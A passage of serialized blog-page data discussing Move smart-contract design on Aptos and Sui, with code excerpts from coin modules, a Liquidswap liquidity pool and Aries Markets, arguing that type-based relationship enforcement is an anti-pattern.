Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[4452],{"type":23,"tag":38,"props":4453,"children":4454},{"__ignoreMap":7},[4455,4463,4510,4518,4539],{"type":23,"tag":141,"props":4456,"children":4457},{"class":143,"line":144},[4458],{"type":23,"tag":141,"props":4459,"children":4460},{"style":443},[4461],{"type":29,"value":4462}," /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":141,"props":4464,"children":4465},{"class":143,"line":180},[4466,4471,4476,4481,4486,4491,4496,4501,4506],{"type":23,"tag":141,"props":4467,"children":4468},{"style":449},[4469],{"type":29,"value":4470}," struct",{"type":23,"tag":141,"props":4472,"children":4473},{"style":725},[4474],{"type":29,"value":4475}," Coin",{"type":23,"tag":141,"props":4477,"children":4478},{"style":154},[4479],{"type":29,"value":4480},"\u003C",{"type":23,"tag":141,"props":4482,"children":4483},{"style":750},[4484],{"type":29,"value":4485},"phantom",{"type":23,"tag":141,"props":4487,"children":4488},{"style":725},[4489],{"type":29,"value":4490}," CoinType",{"type":23,"tag":141,"props":4492,"children":4493},{"style":154},[4494],{"type":29,"value":4495},"> ",{"type":23,"tag":141,"props":4497,"children":4498},{"style":750},[4499],{"type":29,"value":4500},"has",{"type":23,"tag":141,"props":4502,"children":4503},{"style":750},[4504],{"type":29,"value":4505}," store",{"type":23,"tag":141,"props":4507,"children":4508},{"style":154},[4509],{"type":29,"value":1951},{"type":23,"tag":141,"props":4511,"children":4512},{"class":143,"line":205},[4513],{"type":23,"tag":141,"props":4514,"children":4515},{"style":443},[4516],{"type":29,"value":4517}," /// Amount of coin this address has.\n",{"type":23,"tag":141,"props":4519,"children":4520},{"class":143,"line":218},[4521,4526,4530,4535],{"type":23,"tag":141,"props":4522,"children":4523},{"style":750},[4524],{"type":29,"value":4525}," value",{"type":23,"tag":141,"props":4527,"children":4528},{"style":160},[4529],{"type":29,"value":114},{"type":23,"tag":141,"props":4531,"children":4532},{"style":725},[4533],{"type":29,"value":4534}," u64",{"type":23,"tag":141,"props":4536,"children":4537},{"style":154},[4538],{"type":29,"value":2168},{"type":23,"tag":141,"props":4540,"children":4541},{"class":143,"line":227},[4542],{"type":23,"tag":141,"props":4543,"children":4544},{"style":154},[4545],{"type":29,"value":854},{"type":23,"tag":32,"props":4547,"children":4548},{},[4549],{"type":23,"tag":47,"props":4550,"children":4551},{},[4552],{"type":29,"value":4553},"aptos",{"type":23,"tag":131,"props":4555,"children":4557},{"className":1639,"code":4556,"language":1638,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[4558],{"type":23,"tag":38,"props":4559,"children":4560},{"__ignoreMap":7},[4561,4569,4619,4636,4667],{"type":23,"tag":141,"props":4562,"children":4563},{"class":143,"line":144},[4564],{"type":23,"tag":141,"props":4565,"children":4566},{"style":443},[4567],{"type":29,"value":4568}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":141,"props":4570,"children":4571},{"class":143,"line":180},[4572,4576,4580,4584,4588,4593,4597,4601,4606,4610,4615],{"type":23,"tag":141,"props":4573,"children":4574},{"style":449},[4575],{"type":29,"value":4470},{"type":23,"tag":141,"props":4577,"children":4578},{"style":725},[4579],{"type":29,"value":4475},{"type":23,"tag":141,"props":4581,"children":4582},{"style":154},[4583],{"type":29,"value":4480},{"type":23,"tag":141,"props":4585,"children":4586},{"style":750},[4587],{"type":29,"value":4485},{"type":23,"tag":141,"props":4589,"children":4590},{"style":725},[4591],{"type":29,"value":4592}," T",{"type":23,"tag":141,"props":4594,"children":4595},{"style":154},[4596],{"type":29,"value":4495},{"type":23,"tag":141,"props":4598,"children":4599},{"style":750},[4600],{"type":29,"value":4500},{"type":23,"tag":141,"props":4602,"children":4603},{"style":750},[4604],{"type":29,"value":4605}," key",{"type":23,"tag":141,"props":4607,"children":4608},{"style":154},[4609],{"type":29,"value":480},{"type":23,"tag":141,"props":4611,"children":4612},{"style":750},[4613],{"type":29,"value":4614},"store",{"type":23,"tag":141,"props":4616,"children":4617},{"style":154},[4618],{"type":29,"value":1951},{"type":23,"tag":141,"props":4620,"children":4621},{"class":143,"line":205},[4622,4627,4631],{"type":23,"tag":141,"props":4623,"children":4624},{"style":750},[4625],{"type":29,"value":4626}," id",{"type":23,"tag":141,"props":4628,"children":4629},{"style":160},[4630],{"type":29,"value":114},{"type":23,"tag":141,"props":4632,"children":4633},{"style":154},[4634],{"type":29,"value":4635}," UID,\n",{"type":23,"tag":141,"props":4637,"children":4638},{"class":143,"line":218},[4639,4644,4648,4653,4657,4662],{"type":23,"tag":141,"props":4640,"children":4641},{"style":750},[4642],{"type":29,"value":4643}," balance",{"type":23,"tag":141,"props":4645,"children":4646},{"style":160},[4647],{"type":29,"value":114},{"type":23,"tag":141,"props":4649,"children":4650},{"style":725},[4651],{"type":29,"value":4652}," Balance",{"type":23,"tag":141,"props":4654,"children":4655},{"style":154},[4656],{"type":29,"value":4480},{"type":23,"tag":141,"props":4658,"children":4659},{"style":725},[4660],{"type":29,"value":4661},"T",{"type":23,"tag":141,"props":4663,"children":4664},{"style":154},[4665],{"type":29,"value":4666},">\n",{"type":23,"tag":141,"props":4668,"children":4669},{"class":143,"line":227},[4670],{"type":23,"tag":141,"props":4671,"children":4672},{"style":154},[4673],{"type":29,"value":854},{"type":23,"tag":32,"props":4675,"children":4676},{},[4677],{"type":23,"tag":47,"props":4678,"children":4679},{},[4680],{"type":29,"value":4681},"sui",{"type":23,"tag":32,"props":4683,"children":4684},{},[4685,4687,4694,4696,4702],{"type":29,"value":4686},"Pulling an example from ",{"type":23,"tag":55,"props":4688,"children":4691},{"href":4689,"rel":4690},"https://pontem.network/",[59],[4692],{"type":29,"value":4693},"Pontem Network's",{"type":29,"value":4695}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":38,"props":4697,"children":4699},{"className":4698},[],[4700],{"type":29,"value":4701},"LiquidityPool",{"type":29,"value":4703}," natively embeds this type information into it's fields.",{"type":23,"tag":131,"props":4705,"children":4707},{"className":1639,"code":4706,"language":1638,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[4708],{"type":23,"tag":38,"props":4709,"children":4710},{"__ignoreMap":7},[4711,4719,4783,4813,4842,4850],{"type":23,"tag":141,"props":4712,"children":4713},{"class":143,"line":144},[4714],{"type":23,"tag":141,"props":4715,"children":4716},{"style":443},[4717],{"type":29,"value":4718}," /// Liquidity pool with reserves.\n",{"type":23,"tag":141,"props":4720,"children":4721},{"class":143,"line":180},[4722,4727,4732,4736,4740,4745,4749,4753,4758,4762,4766,4771,4775,4779],{"type":23,"tag":141,"props":4723,"children":4724},{"style":449},[4725],{"type":29,"value":4726}," struct",{"type":23,"tag":141,"props":4728,"children":4729},{"style":725},[4730],{"type":29,"value":4731}," LiquidityPool",{"type":23,"tag":141,"props":4733,"children":4734},{"style":154},[4735],{"type":29,"value":4480},{"type":23,"tag":141,"props":4737,"children":4738},{"style":750},[4739],{"type":29,"value":4485},{"type":23,"tag":141,"props":4741,"children":4742},{"style":725},[4743],{"type":29,"value":4744}," X",{"type":23,"tag":141,"props":4746,"children":4747},{"style":154},[4748],{"type":29,"value":480},{"type":23,"tag":141,"props":4750,"children":4751},{"style":750},[4752],{"type":29,"value":4485},{"type":23,"tag":141,"props":4754,"children":4755},{"style":725},[4756],{"type":29,"value":4757}," Y",{"type":23,"tag":141,"props":4759,"children":4760},{"style":154},[4761],{"type":29,"value":480},{"type":23,"tag":141,"props":4763,"children":4764},{"style":750},[4765],{"type":29,"value":4485},{"type":23,"tag":141,"props":4767,"children":4768},{"style":154},[4769],{"type":29,"value":4770}," LP> ",{"type":23,"tag":141,"props":4772,"children":4773},{"style":750},[4774],{"type":29,"value":4500},{"type":23,"tag":141,"props":4776,"children":4777},{"style":750},[4778],{"type":29,"value":4605},{"type":23,"tag":141,"props":4780,"children":4781},{"style":154},[4782],{"type":29,"value":1951},{"type":23,"tag":141,"props":4784,"children":4785},{"class":143,"line":205},[4786,4791,4795,4799,4803,4808],{"type":23,"tag":141,"props":4787,"children":4788},{"style":750},[4789],{"type":29,"value":4790}," coin_x_reserve",{"type":23,"tag":141,"props":4792,"children":4793},{"style":160},[4794],{"type":29,"value":114},{"type":23,"tag":141,"props":4796,"children":4797},{"style":725},[4798],{"type":29,"value":4475},{"type":23,"tag":141,"props":4800,"children":4801},{"style":154},[4802],{"type":29,"value":4480},{"type":23,"tag":141,"props":4804,"children":4805},{"style":725},[4806],{"type":29,"value":4807},"X",{"type":23,"tag":141,"props":4809,"children":4810},{"style":154},[4811],{"type":29,"value":4812},">,\n",{"type":23,"tag":141,"props":4814,"children":4815},{"class":143,"line":218},[4816,4821,4825,4829,4833,4838],{"type":23,"tag":141,"props":4817,"children":4818},{"style":750},[4819],{"type":29,"value":4820}," coin_y_reserve",{"type":23,"tag":141,"props":4822,"children":4823},{"style":160},[4824],{"type":29,"value":114},{"type":23,"tag":141,"props":4826,"children":4827},{"style":725},[4828],{"type":29,"value":4475},{"type":23,"tag":141,"props":4830,"children":4831},{"style":154},[4832],{"type":29,"value":4480},{"type":23,"tag":141,"props":4834,"children":4835},{"style":725},[4836],{"type":29,"value":4837},"Y",{"type":23,"tag":141,"props":4839,"children":4840},{"style":154},[4841],{"type":29,"value":4812},{"type":23,"tag":141,"props":4843,"children":4844},{"class":143,"line":227},[4845],{"type":23,"tag":141,"props":4846,"children":4847},{"style":443},[4848],{"type":29,"value":4849}," // ...\n",{"type":23,"tag":141,"props":4851,"children":4852},{"class":143,"line":241},[4853],{"type":23,"tag":141,"props":4854,"children":4855},{"style":154},[4856],{"type":29,"value":299},{"type":23,"tag":32,"props":4858,"children":4859},{},[4860],{"type":29,"value":4861},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":131,"props":4863,"children":4865},{"className":1639,"code":4864,"language":1638,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[4866],{"type":23,"tag":38,"props":4867,"children":4868},{"__ignoreMap":7},[4869,4908,4929,4957,4985,5036,5044,5051],{"type":23,"tag":141,"props":4870,"children":4871},{"class":143,"line":144},[4872,4877,4882,4887,4891,4895,4899,4903],{"type":23,"tag":141,"props":4873,"children":4874},{"style":750},[4875],{"type":29,"value":4876}," public",{"type":23,"tag":141,"props":4878,"children":4879},{"style":750},[4880],{"type":29,"value":4881}," fun",{"type":23,"tag":141,"props":4883,"children":4884},{"style":750},[4885],{"type":29,"value":4886}," mint",{"type":23,"tag":141,"props":4888,"children":4889},{"style":154},[4890],{"type":29,"value":4480},{"type":23,"tag":141,"props":4892,"children":4893},{"style":725},[4894],{"type":29,"value":4807},{"type":23,"tag":141,"props":4896,"children":4897},{"style":154},[4898],{"type":29,"value":480},{"type":23,"tag":141,"props":4900,"children":4901},{"style":725},[4902],{"type":29,"value":4837},{"type":23,"tag":141,"props":4904,"children":4905},{"style":154},[4906],{"type":29,"value":4907},", LP>(\n",{"type":23,"tag":141,"props":4909,"children":4910},{"class":143,"line":180},[4911,4916,4920,4925],{"type":23,"tag":141,"props":4912,"children":4913},{"style":750},[4914],{"type":29,"value":4915}," pool_addr",{"type":23,"tag":141,"props":4917,"children":4918},{"style":160},[4919],{"type":29,"value":114},{"type":23,"tag":141,"props":4921,"children":4922},{"style":750},[4923],{"type":29,"value":4924}," address",{"type":23,"tag":141,"props":4926,"children":4927},{"style":154},[4928],{"type":29,"value":2168},{"type":23,"tag":141,"props":4930,"children":4931},{"class":143,"line":205},[4932,4937,4941,4945,4949,4953],{"type":23,"tag":141,"props":4933,"children":4934},{"style":750},[4935],{"type":29,"value":4936}," coin_x",{"type":23,"tag":141,"props":4938,"children":4939},{"style":160},[4940],{"type":29,"value":114},{"type":23,"tag":141,"props":4942,"children":4943},{"style":725},[4944],{"type":29,"value":4475},{"type":23,"tag":141,"props":4946,"children":4947},{"style":154},[4948],{"type":29,"value":4480},{"type":23,"tag":141,"props":4950,"children":4951},{"style":725},[4952],{"type":29,"value":4807},{"type":23,"tag":141,"props":4954,"children":4955},{"style":154},[4956],{"type":29,"value":4812},{"type":23,"tag":141,"props":4958,"children":4959},{"class":143,"line":218},[4960,4965,4969,4973,4977,4981],{"type":23,"tag":141,"props":4961,"children":4962},{"style":750},[4963],{"type":29,"value":4964}," coin_y",{"type":23,"tag":141,"props":4966,"children":4967},{"style":160},[4968],{"type":29,"value":114},{"type":23,"tag":141,"props":4970,"children":4971},{"style":725},[4972],{"type":29,"value":4475},{"type":23,"tag":141,"props":4974,"children":4975},{"style":154},[4976],{"type":29,"value":4480},{"type":23,"tag":141,"props":4978,"children":4979},{"style":725},[4980],{"type":29,"value":4837},{"type":23,"tag":141,"props":4982,"children":4983},{"style":154},[4984],{"type":29,"value":4666},{"type":23,"tag":141,"props":4986,"children":4987},{"class":143,"line":227},[4988,4993,4997,5001,5005,5010,5014,5019,5023,5027,5032],{"type":23,"tag":141,"props":4989,"children":4990},{"style":154},[4991],{"type":29,"value":4992}," )",{"type":23,"tag":141,"props":4994,"children":4995},{"style":160},[4996],{"type":29,"value":114},{"type":23,"tag":141,"props":4998,"children":4999},{"style":725},[5000],{"type":29,"value":4475},{"type":23,"tag":141,"props":5002,"children":5003},{"style":154},[5004],{"type":29,"value":4480},{"type":23,"tag":141,"props":5006,"children":5007},{"style":725},[5008],{"type":29,"value":5009},"LP",{"type":23,"tag":141,"props":5011,"children":5012},{"style":154},[5013],{"type":29,"value":4495},{"type":23,"tag":141,"props":5015,"children":5016},{"style":750},[5017],{"type":29,"value":5018},"acquires",{"type":23,"tag":141,"props":5020,"children":5021},{"style":725},[5022],{"type":29,"value":4731},{"type":23,"tag":141,"props":5024,"children":5025},{"style":154},[5026],{"type":29,"value":480},{"type":23,"tag":141,"props":5028,"children":5029},{"style":725},[5030],{"type":29,"value":5031},"EventsStore",{"type":23,"tag":141,"props":5033,"children":5034},{"style":154},[5035],{"type":29,"value":1951},{"type":23,"tag":141,"props":5037,"children":5038},{"class":143,"line":241},[5039],{"type":23,"tag":141,"props":5040,"children":5041},{"style":443},[5042],{"type":29,"value":5043}," // ...\n",{"type":23,"tag":141,"props":5045,"children":5046},{"class":143,"line":262},[5047],{"type":23,"tag":141,"props":5048,"children":5049},{"emptyLinePlaceholder":15},[5050],{"type":29,"value":719},{"type":23,"tag":141,"props":5052,"children":5053},{"class":143,"line":271},[5054,5059,5063,5068,5072,5077,5081,5085,5090,5094,5098,5102,5106,5111,5116],{"type":23,"tag":141,"props":5055,"children":5056},{"style":449},[5057],{"type":29,"value":5058}," let",{"type":23,"tag":141,"props":5060,"children":5061},{"style":154},[5062],{"type":29,"value":1220},{"type":23,"tag":141,"props":5064,"children":5065},{"style":750},[5066],{"type":29,"value":5067},"x_reserve_size",{"type":23,"tag":141,"props":5069,"children":5070},{"style":154},[5071],{"type":29,"value":480},{"type":23,"tag":141,"props":5073,"children":5074},{"style":750},[5075],{"type":29,"value":5076},"y_reserve_size",{"type":23,"tag":141,"props":5078,"children":5079},{"style":154},[5080],{"type":29,"value":1748},{"type":23,"tag":141,"props":5082,"children":5083},{"style":160},[5084],{"type":29,"value":1377},{"type":23,"tag":141,"props":5086,"children":5087},{"style":750},[5088],{"type":29,"value":5089}," get_reserves_size",{"type":23,"tag":141,"props":5091,"children":5092},{"style":154},[5093],{"type":29,"value":4480},{"type":23,"tag":141,"props":5095,"children":5096},{"style":725},[5097],{"type":29,"value":4807},{"type":23,"tag":141,"props":5099,"children":5100},{"style":154},[5101],{"type":29,"value":480},{"type":23,"tag":141,"props":5103,"children":5104},{"style":725},[5105],{"type":29,"value":4837},{"type":23,"tag":141,"props":5107,"children":5108},{"style":154},[5109],{"type":29,"value":5110},", LP>(",{"type":23,"tag":141,"props":5112,"children":5113},{"style":750},[5114],{"type":29,"value":5115},"pool_addr",{"type":23,"tag":141,"props":5117,"children":5118},{"style":154},[5119],{"type":29,"value":2496},{"type":23,"tag":32,"props":5121,"children":5122},{},[5123,5125,5131,5132,5139],{"type":29,"value":5124},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":38,"props":5126,"children":5128},{"className":5127},[],[5129],{"type":29,"value":5130},"ty_args",{"type":29,"value":45},{"type":23,"tag":55,"props":5133,"children":5136},{"href":5134,"rel":5135},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[59],[5137],{"type":29,"value":5138},"at the vm level",{"type":29,"value":5140},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":32,"props":5142,"children":5143},{},[5144,5146,5152,5154,5160,5162,5168,5169,5175],{"type":29,"value":5145},"In pseucode, this checks that ",{"type":23,"tag":38,"props":5147,"children":5149},{"className":5148},[],[5150],{"type":29,"value":5151},"coin_x.type",{"type":29,"value":5153}," is equal to ",{"type":23,"tag":38,"props":5155,"children":5157},{"className":5156},[],[5158],{"type":29,"value":5159},"pool.x_type",{"type":29,"value":5161},", and ",{"type":23,"tag":38,"props":5163,"children":5165},{"className":5164},[],[5166],{"type":29,"value":5167},"coin_y.type",{"type":29,"value":5153},{"type":23,"tag":38,"props":5170,"children":5172},{"className":5171},[],[5173],{"type":29,"value":5174},"pool.y_type",{"type":29,"value":322},{"type":23,"tag":32,"props":5177,"children":5178},{},[5179],{"type":29,"value":5180},"This type system has two advantages",{"type":23,"tag":116,"props":5182,"children":5183},{},[5184,5196],{"type":23,"tag":120,"props":5185,"children":5186},{},[5187,5189,5194],{"type":29,"value":5188},"It's required. The type parameter ",{"type":23,"tag":47,"props":5190,"children":5191},{},[5192],{"type":29,"value":5193},"must",{"type":29,"value":5195}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":120,"props":5197,"children":5198},{},[5199],{"type":29,"value":5200},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":32,"props":5202,"children":5203},{},[5204],{"type":29,"value":5205},"However, this system isn't perfect.",{"type":23,"tag":32,"props":5207,"children":5208},{},[5209,5211,5216],{"type":29,"value":5210},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":3998,"props":5212,"children":5213},{},[5214],{"type":29,"value":5215},"an anti-pattern",{"type":29,"value":322},{"type":23,"tag":32,"props":5218,"children":5219},{},[5220,5222,5228],{"type":29,"value":5221},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":38,"props":5223,"children":5225},{"className":5224},[],[5226],{"type":29,"value":5227},"CoinInfo\u003CCoinType>",{"type":29,"value":322},{"type":23,"tag":131,"props":5230,"children":5232},{"className":1639,"code":5231,"language":1638,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[5233],{"type":23,"tag":38,"props":5234,"children":5235},{"__ignoreMap":7},[5236,5263,5271,5340,5347,5354,5366,5411,5433],{"type":23,"tag":141,"props":5237,"children":5238},{"class":143,"line":144},[5239,5244,5249,5253,5258],{"type":23,"tag":141,"props":5240,"children":5241},{"style":750},[5242],{"type":29,"value":5243}," fun",{"type":23,"tag":141,"props":5245,"children":5246},{"style":750},[5247],{"type":29,"value":5248}," initialize_internal",{"type":23,"tag":141,"props":5250,"children":5251},{"style":154},[5252],{"type":29,"value":4480},{"type":23,"tag":141,"props":5254,"children":5255},{"style":725},[5256],{"type":29,"value":5257},"CoinType",{"type":23,"tag":141,"props":5259,"children":5260},{"style":154},[5261],{"type":29,"value":5262},">(\n",{"type":23,"tag":141,"props":5264,"children":5265},{"class":143,"line":180},[5266],{"type":23,"tag":141,"props":5267,"children":5268},{"style":443},[5269],{"type":29,"value":5270}," // ...\n",{"type":23,"tag":141,"props":5272,"children":5273},{"class":143,"line":205},[5274,5279,5283,5287,5292,5296,5300,5305,5310,5314,5318,5322,5327,5331,5335],{"type":23,"tag":141,"props":5275,"children":5276},{"style":154},[5277],{"type":29,"value":5278}," )",{"type":23,"tag":141,"props":5280,"children":5281},{"style":160},[5282],{"type":29,"value":114},{"type":23,"tag":141,"props":5284,"children":5285},{"style":154},[5286],{"type":29,"value":1220},{"type":23,"tag":141,"props":5288,"children":5289},{"style":725},[5290],{"type":29,"value":5291},"BurnCapability",{"type":23,"tag":141,"props":5293,"children":5294},{"style":154},[5295],{"type":29,"value":4480},{"type":23,"tag":141,"props":5297,"children":5298},{"style":725},[5299],{"type":29,"value":5257},{"type":23,"tag":141,"props":5301,"children":5302},{"style":154},[5303],{"type":29,"value":5304},">, ",{"type":23,"tag":141,"props":5306,"children":5307},{"style":725},[5308],{"type":29,"value":5309},"FreezeCapability",{"type":23,"tag":141,"props":5311,"children":5312},{"style":154},[5313],{"type":29,"value":4480},{"type":23,"tag":141,"props":5315,"children":5316},{"style":725},[5317],{"type":29,"value":5257},{"type":23,"tag":141,"props":5319,"children":5320},{"style":154},[5321],{"type":29,"value":5304},{"type":23,"tag":141,"props":5323,"children":5324},{"style":725},[5325],{"type":29,"value":5326},"MintCapability",{"type":23,"tag":141,"props":5328,"children":5329},{"style":154},[5330],{"type":29,"value":4480},{"type":23,"tag":141,"props":5332,"children":5333},{"style":725},[5334],{"type":29,"value":5257},{"type":23,"tag":141,"props":5336,"children":5337},{"style":154},[5338],{"type":29,"value":5339},">) {\n",{"type":23,"tag":141,"props":5341,"children":5342},{"class":143,"line":218},[5343],{"type":23,"tag":141,"props":5344,"children":5345},{"style":443},[5346],{"type":29,"value":5270},{"type":23,"tag":141,"props":5348,"children":5349},{"class":143,"line":227},[5350],{"type":23,"tag":141,"props":5351,"children":5352},{"emptyLinePlaceholder":15},[5353],{"type":29,"value":719},{"type":23,"tag":141,"props":5355,"children":5356},{"class":143,"line":241},[5357,5362],{"type":23,"tag":141,"props":5358,"children":5359},{"style":184},[5360],{"type":29,"value":5361}," assert!",{"type":23,"tag":141,"props":5363,"children":5364},{"style":154},[5365],{"type":29,"value":2123},{"type":23,"tag":141,"props":5367,"children":5368},{"class":143,"line":262},[5369,5374,5379,5383,5388,5392,5396,5401,5406],{"type":23,"tag":141,"props":5370,"children":5371},{"style":160},[5372],{"type":29,"value":5373}," !",{"type":23,"tag":141,"props":5375,"children":5376},{"style":750},[5377],{"type":29,"value":5378},"exists",{"type":23,"tag":141,"props":5380,"children":5381},{"style":154},[5382],{"type":29,"value":4480},{"type":23,"tag":141,"props":5384,"children":5385},{"style":725},[5386],{"type":29,"value":5387},"CoinInfo",{"type":23,"tag":141,"props":5389,"children":5390},{"style":154},[5391],{"type":29,"value":4480},{"type":23,"tag":141,"props":5393,"children":5394},{"style":725},[5395],{"type":29,"value":5257},{"type":23,"tag":141,"props":5397,"children":5398},{"style":154},[5399],{"type":29,"value":5400},">>(",{"type":23,"tag":141,"props":5402,"children":5403},{"style":750},[5404],{"type":29,"value":5405},"account_addr",{"type":23,"tag":141,"props":5407,"children":5408},{"style":154},[5409],{"type":29,"value":5410},"),\n",{"type":23,"tag":141,"props":5412,"children":5413},{"class":143,"line":271},[5414,5419,5423,5428],{"type":23,"tag":141,"props":5415,"children":5416},{"style":154},[5417],{"type":29,"value":5418}," error",{"type":23,"tag":141,"props":5420,"children":5421},{"style":160},[5422],{"type":29,"value":2141},{"type":23,"tag":141,"props":5424,"children":5425},{"style":184},[5426],{"type":29,"value":5427},"already_exists",{"type":23,"tag":141,"props":5429,"children":5430},{"style":154},[5431],{"type":29,"value":5432},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":141,"props":5434,"children":5435},{"class":143,"line":293},[5436],{"type":23,"tag":141,"props":5437,"children":5438},{"style":154},[5439],{"type":29,"value":5440}," );\n",{"type":23,"tag":32,"props":5442,"children":5443},{},[5444,5446,5451],{"type":29,"value":5445},"While this ",{"type":23,"tag":38,"props":5447,"children":5449},{"className":5448},[],[5450],{"type":29,"value":5387},{"type":29,"value":5452}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":32,"props":5454,"children":5455},{},[5456,5458,5465],{"type":29,"value":5457},"Similarly, consider ",{"type":23,"tag":55,"props":5459,"children":5462},{"href":5460,"rel":5461},"https://ariesmarkets.xyz/",[59],[5463],{"type":29,"value":5464},"Aries Markets",{"type":29,"value":5466},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":32,"props":5468,"children":5469},{},[5470,5472,5478],{"type":29,"value":5471},"Their ",{"type":23,"tag":38,"props":5473,"children":5475},{"className":5474},[],[5476],{"type":29,"value":5477},"ReserveCoinContainer",{"type":29,"value":5479}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":131,"props":5481,"children":5483},{"className":1639,"code":5482,"language":1638,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[5484],{"type":23,"tag":38,"props":5485,"children":5486},{"__ignoreMap":7},[5487,5495,5503,5544,5552,5581,5589,5626,5634,5671,5679,5716,5723,5730],{"type":23,"tag":141,"props":5488,"children":5489},{"class":143,"line":144},[5490],{"type":23,"tag":141,"props":5491,"children":5492},{"style":443},[5493],{"type":29,"value":5494}," /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":141,"props":5496,"children":5497},{"class":143,"line":180},[5498],{"type":23,"tag":141,"props":5499,"children":5500},{"style":443},[5501],{"type":29,"value":5502}," /// Stored as a resources.\n",{"type":23,"tag":141,"props":5504,"children":5505},{"class":143,"line":205},[5506,5510,5515,5519,5523,5528,5532,5536,5540],{"type":23,"tag":141,"props":5507,"children":5508},{"style":449},[5509],{"type":29,"value":4470},{"type":23,"tag":141,"props":5511,"children":5512},{"style":725},[5513],{"type":29,"value":5514}," ReserveCoinContainer",{"type":23,"tag":141,"props":5516,"children":5517},{"style":154},[5518],{"type":29,"value":4480},{"type":23,"tag":141,"props":5520,"children":5521},{"style":750},[5522],{"type":29,"value":4485},{"type":23,"tag":141,"props":5524,"children":5525},{"style":725},[5526],{"type":29,"value":5527}," Coin0",{"type":23,"tag":141,"props":5529,"children":5530},{"style":154},[5531],{"type":29,"value":4495},{"type":23,"tag":141,"props":5533,"children":5534},{"style":750},[5535],{"type":29,"value":4500},{"type":23,"tag":141,"props":5537,"children":5538},{"style":750},[5539],{"type":29,"value":4605},{"type":23,"tag":141,"props":5541,"children":5542},{"style":154},[5543],{"type":29,"value":1951},{"type":23,"tag":141,"props":5545,"children":5546},{"class":143,"line":218},[5547],{"type":23,"tag":141,"props":5548,"children":5549},{"style":443},[5550],{"type":29,"value":5551}," /// Stores the available `Coin`.\n",{"type":23,"tag":141,"props":5553,"children":5554},{"class":143,"line":227},[5555,5560,5564,5568,5572,5577],{"type":23,"tag":141,"props":5556,"children":5557},{"style":750},[5558],{"type":29,"value":5559}," underlying_coin",{"type":23,"tag":141,"props":5561,"children":5562},{"style":160},[5563],{"type":29,"value":114},{"type":23,"tag":141,"props":5565,"children":5566},{"style":725},[5567],{"type":29,"value":4475},{"type":23,"tag":141,"props":5569,"children":5570},{"style":154},[5571],{"type":29,"value":4480},{"type":23,"tag":141,"props":5573,"children":5574},{"style":725},[5575],{"type":29,"value":5576},"Coin0",{"type":23,"tag":141,"props":5578,"children":5579},{"style":154},[5580],{"type":29,"value":4812},{"type":23,"tag":141,"props":5582,"children":5583},{"class":143,"line":241},[5584],{"type":23,"tag":141,"props":5585,"children":5586},{"style":443},[5587],{"type":29,"value":5588}," /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":141,"props":5590,"children":5591},{"class":143,"line":262},[5592,5597,5601,5605,5609,5613,5617,5621],{"type":23,"tag":141,"props":5593,"children":5594},{"style":750},[5595],{"type":29,"value":5596}," 